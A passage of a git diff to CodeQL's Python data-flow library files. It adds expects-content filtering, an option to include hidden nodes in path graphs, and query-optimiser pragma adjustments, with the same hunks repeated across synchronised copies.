    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl3.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl3.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl3.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl3.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl4.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl4.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl4.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl4.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
